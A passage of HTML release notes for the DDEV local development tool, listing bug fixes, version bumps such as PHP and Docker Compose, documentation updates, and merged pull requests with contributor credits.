<li>Fixed conflicts between <code>HostWorkingDir</code> and <code>WebWorkingDir</code> affecting <code>ddev npm</code>, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/crowjake/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/crowjake">@crowjake</a></li>
<li>Fixed support for <code>PKCS#8</code> keys in <code>ddev auth ssh</code></li>
<li>Fixed <code>ddev snapshot</code> command for <code>postgres:9</code></li>
<li>Create Docker volumes only for the configured database type</li>
<li>Fixed <code>ddev xdebug</code>, <code>ddev xhprof</code>, and <code>ddev blackfire</code> handlers for the <a href="https://github.com/ddev/ddev-frankenphp">ddev-frankenphp</a> add-on</li>
<li>Fixed <code>ddev snapshot</code> failure when run immediately after <code>ddev snapshot restore</code></li>
<li>Always show the correct project name in <code>ddev mutagen st</code>, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/agviu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/agviu">@agviu</a></li>
<li>Warn about non-persistent changes when using <code>ddev composer self-update</code> and <code>ddev composer global</code></li>
<li>Added support for <code>COMPOSER_NO_SECURITY_BLOCKING=1</code> in <code>ddev composer</code></li>
<li>Run <code>post-create-project-cmd</code> for plugin events in <code>ddev composer create-project</code></li>
<li>Improved <code>log-stderr.sh</code> reporting during <code>ddev start</code></li>
<li>Skip poweroff prompts when containers are already stopped during version upgrades</li>
<li>Fixed database port type in TYPO3 settings, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BreathCodeFlow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BreathCodeFlow">@BreathCodeFlow</a></li>
<li>Detect and warn about multiple global config directories during <code>ddev start</code></li>
</ul>
<h2>Minor Updates</h2>
<ul>
<li>PHP 8.3.30, 8.4.17, and 8.5.2</li>
<li>Docker Compose v5.0.2</li>
<li>Updated <a href="https://docs.ddev.com/en/stable/users/quickstart/#generic" rel="nofollow">Generic</a> webserver quickstart</li>
<li>Add <code>APP_FULL_BASE_URL</code> for CakePHP, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ajibarra/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ajibarra">@ajibarra</a></li>
<li>Updated Lagoon provider instructions with sync configuration, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/froboy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/froboy">@froboy</a></li>
<li>Added Cloudflare WARP networking instructions, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lguigo22/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lguigo22">@lguigo22</a></li>
<li>Updated Ibexa DXP installation steps, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adriendupuis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adriendupuis">@adriendupuis</a></li>
<li>Added troubleshooting guidance for endpoint security interfering with Xdebug, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joelpittet/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joelpittet">@joelpittet</a></li>
<li>Replaced <code>github.com/docker/docker</code> with <code>github.com/moby/moby/client</code> and <code>github.com/moby/moby/api</code></li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>test: Allow overriding ignore expiring keys [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3595807650" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7803" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7803/hovercard" href="https://github.com/ddev/ddev/pull/7803">#7803</a></li>
<li>test: Improve TestHasConfigNameOverride so it doesn't leave projects after completion, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3588095046" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7797" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7797/hovercard" href="https://github.com/ddev/ddev/issues/7797">#7797</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3594876628" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7798" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7798/hovercard" href="https://github.com/ddev/ddev/pull/7798">#7798</a></li>
<li>test: don't check for expiring keys in forks, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3595807650" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7803" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7803/hovercard" href="https://github.com/ddev/ddev/pull/7803">#7803</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3608140893" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7831" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7831/hovercard" href="https://github.com/ddev/ddev/pull/7831">#7831</a></li>
<li>build(deps): bump golangci/golangci-lint-action from 8 to 9 by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3608833112" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7832" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7832/hovercard" href="https://github.com/ddev/ddev/pull/7832">#7832</a></li>
<li>fix(heidisql): use <code>--databases</code> flag only when needed, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3607926680" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7829" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7829/hovercard" href="https://github.com/ddev/ddev/issues/7829">#7829</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3608027114" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7830" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7830/hovercard" href="https://github.com/ddev/ddev/pull/7830">#7830</a></li>
<li>docs: add missing dot in <code>.ddev/.env.*</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yanniboi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yanniboi">@yanniboi</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3607674219" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7828" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7828/hovercard" href="https://github.com/ddev/ddev/pull/7828">#7828</a></li>
<li>fix(postgres): use placeholder for username, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3606943756" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7820" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7820/hovercard" href="https://github.com/ddev/ddev/issues/7820">#7820</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3607502251" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7827" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7827/hovercard" href="https://github.com/ddev/ddev/pull/7827">#7827</a></li>
<li>docs: remove community examples link in documentation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/weitzman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/weitzman">@weitzman</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3610507416" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7834" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7834/hovercard" href="https://github.com/ddev/ddev/pull/7834">#7834</a></li>
<li>refactor: improve <code>ddev auth ssh</code> readability and reuse cmd in tests by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3605453229" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7816" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7816/hovercard" href="https://github.com/ddev/ddev/pull/7816">#7816</a></li>
<li>test(quickstart): check for new FrankenPHP headers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3612250250" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7836" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7836/hovercard" href="https://github.com/ddev/ddev/pull/7836">#7836</a></li>
<li>docs: Update Docker connection failure explanations with more on docker context ls by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3610102452" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7833" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7833/hovercard" href="https://github.com/ddev/ddev/pull/7833">#7833</a></li>
<li>chore(images): Remove image build for ddev-nginx-proxy-router by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3606713843" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7818" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7818/hovercard" href="https://github.com/ddev/ddev/pull/7818">#7818</a></li>
<li>chore: Remove <code>ddev utility capabilities</code> command completely, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2960861536" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7174" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7174/hovercard" href="https://github.com/ddev/ddev/issues/7174">#7174</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3603683200" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7814" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7814/hovercard" href="https://github.com/ddev/ddev/pull/7814">#7814</a></li>
<li>build: fix getopt detection on macOS by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deviantintegral/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deviantintegral">@deviantintegral</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3616760281" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7846" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7846/hovercard" href="https://github.com/ddev/ddev/pull/7846">#7846</a></li>
<li>docs: Add Claude Code for Web environment configuration guide [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3613230423" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7838" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7838/hovercard" href="https://github.com/ddev/ddev/pull/7838">#7838</a></li>
<li>chore(traefik): Remove redundant Traefik rule syntax configuration, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3606964158" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7822" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7822/hovercard" href="https://github.com/ddev/ddev/issues/7822">#7822</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3607031328" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7823" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7823/hovercard" href="https://github.com/ddev/ddev/pull/7823">#7823</a></li>
<li>chore: Remove NFS support for v1.25.0, remove unused CircleCI config, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3603678152" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7810" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7810/hovercard" href="https://github.com/ddev/ddev/issues/7810">#7810</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3603679025" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7811" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7811/hovercard" href="https://github.com/ddev/ddev/pull/7811">#7811</a></li>
<li>build: use debian:trixie as base for ddev-webserver by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3443242404" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7649" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7649/hovercard" href="https://github.com/ddev/ddev/pull/7649">#7649</a></li>
<li>fix(heidisql): add default <code>--databases=db</code> to postgres, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3608027114" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7830" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7830/hovercard" href="https://github.com/ddev/ddev/pull/7830">#7830</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/raphaelportmann/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/raphaelportmann">@raphaelportmann</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3616947637" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7847" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7847/hovercard" href="https://github.com/ddev/ddev/pull/7847">#7847</a></li>
<li>test(timezone): Windows may show 'Universal' instead of UTC by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3618655010" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7848" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7848/hovercard" href="https://github.com/ddev/ddev/pull/7848">#7848</a></li>
<li>build(deps): bump docker to v29 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3611743898" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7835" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7835/hovercard" href="https://github.com/ddev/ddev/pull/7835">#7835</a></li>
<li>test(share): Fix TestShareCmd to handle non-string types in JSON logs by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3621556499" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7851" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7851/hovercard" href="https://github.com/ddev/ddev/pull/7851">#7851</a></li>
<li>fix: remove trailing comma from schema.json by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3620741092" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7850" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7850/hovercard" href="https://github.com/ddev/ddev/pull/7850">#7850</a></li>
<li>fix: Disable 64-bit file system redirection in Windows installer Section to access wsl.exe by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3613492688" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7839" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7839/hovercard" href="https://github.com/ddev/ddev/pull/7839">#7839</a></li>
<li>test(typo3): Fix Apache version of TYPO3 TestDdevFullSiteSetup and untarring symlinks, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3548109039" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7754" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7754/hovercard" href="https://github.com/ddev/ddev/issues/7754">#7754</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2842752869" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/6972" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/6972/hovercard" href="https://github.com/ddev/ddev/issues/6972">#6972</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3606439641" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7817" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7817/hovercard" href="https://github.com/ddev/ddev/pull/7817">#7817</a></li>
<li>test(pantheon): fix TestPantheonPush, which was broken by composer 2.9 [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3623124667" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7854" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7854/hovercard" href="https://github.com/ddev/ddev/pull/7854">#7854</a></li>
<li>test: Add CI tests for ddev-hostname with passwordless sudo, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3586971253" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7795" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7795/hovercard" href="https://github.com/ddev/ddev/issues/7795">#7795</a> [skip buildkite] by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3623170551" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7855" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7855/hovercard" href="https://github.com/ddev/ddev/pull/7855">#7855</a></li>
<li>test: prevent panic in TestDownloadAndExtractTarball when cleanup is nil, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3447199766" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7652" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7652/hovercard" href="https://github.com/ddev/ddev/issues/7652">#7652</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3623182052" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7857" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7857/hovercard" href="https://github.com/ddev/ddev/pull/7857">#7857</a></li>
<li>chore: Change xhprof_mode default from prepend to xhgui, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3603673779" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7808" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7808/hovercard" href="https://github.com/ddev/ddev/issues/7808">#7808</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3603674354" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7809" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7809/hovercard" href="https://github.com/ddev/ddev/pull/7809">#7809</a></li>
<li>docs: clarify instructions for disabling mutagen on a single project by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/q0rban/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/q0rban">@q0rban</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3626113413" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7861" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7861/hovercard" href="https://github.com/ddev/ddev/pull/7861">#7861</a></li>
<li>test: Can't do ddev-hostname on WSL2 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3626004990" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7860" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7860/hovercard" href="https://github.com/ddev/ddev/pull/7860">#7860</a></li>
<li>test: default key expiration 90 days, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3608140893" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7831" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7831/hovercard" href="https://github.com/ddev/ddev/pull/7831">#7831</a> [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3633922863" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7873" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7873/hovercard" href="https://github.com/ddev/ddev/pull/7873">#7873</a></li>
<li>chore(nodejs): Change default nodejs_version for new projects to 24, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3606899582" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7819" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7819/hovercard" href="https://github.com/ddev/ddev/issues/7819">#7819</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3606952540" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7821" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7821/hovercard" href="https://github.com/ddev/ddev/pull/7821">#7821</a></li>
<li>ci(golangci-lint): add import-shadowing check by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3627089815" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7865" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7865/hovercard" href="https://github.com/ddev/ddev/pull/7865">#7865</a></li>
<li>test: stop project after addon tests that create docker-compose services, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3398423333" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7607" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7607/hovercard" href="https://github.com/ddev/ddev/issues/7607">#7607</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3623187908" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7858" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7858/hovercard" href="https://github.com/ddev/ddev/pull/7858">#7858</a></li>
<li>docs(fritzbox): Update FritzBox references and point to new blog by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3628900206" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7867" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7867/hovercard" href="https://github.com/ddev/ddev/pull/7867">#7867</a></li>
<li>chore: Remove <code>ddev service</code> command, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3603680999" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7812" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7812/hovercard" href="https://github.com/ddev/ddev/issues/7812">#7812</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3603681630" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7813" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7813/hovercard" href="https://github.com/ddev/ddev/pull/7813">#7813</a></li>
<li>chore(deprecation): remove ddev nvm functionality in v1.25.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3607275294" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7826" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7826/hovercard" href="https://github.com/ddev/ddev/pull/7826">#7826</a></li>
<li>fix(quickstart): temporarily install Composer from snapshot for 2.9 compatibility by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3626977833" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7864" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7864/hovercard" href="https://github.com/ddev/ddev/pull/7864">#7864</a></li>
<li>docs(xdebug): Add details on how to repair WSL2 networking by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3640543977" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7879" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7879/hovercard" href="https://github.com/ddev/ddev/pull/7879">#7879</a></li>
<li>docs: fix MD060 table column style errors for markdownlint v0.37+ [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3643053722" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7882" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7882/hovercard" href="https://github.com/ddev/ddev/pull/7882">#7882</a></li>
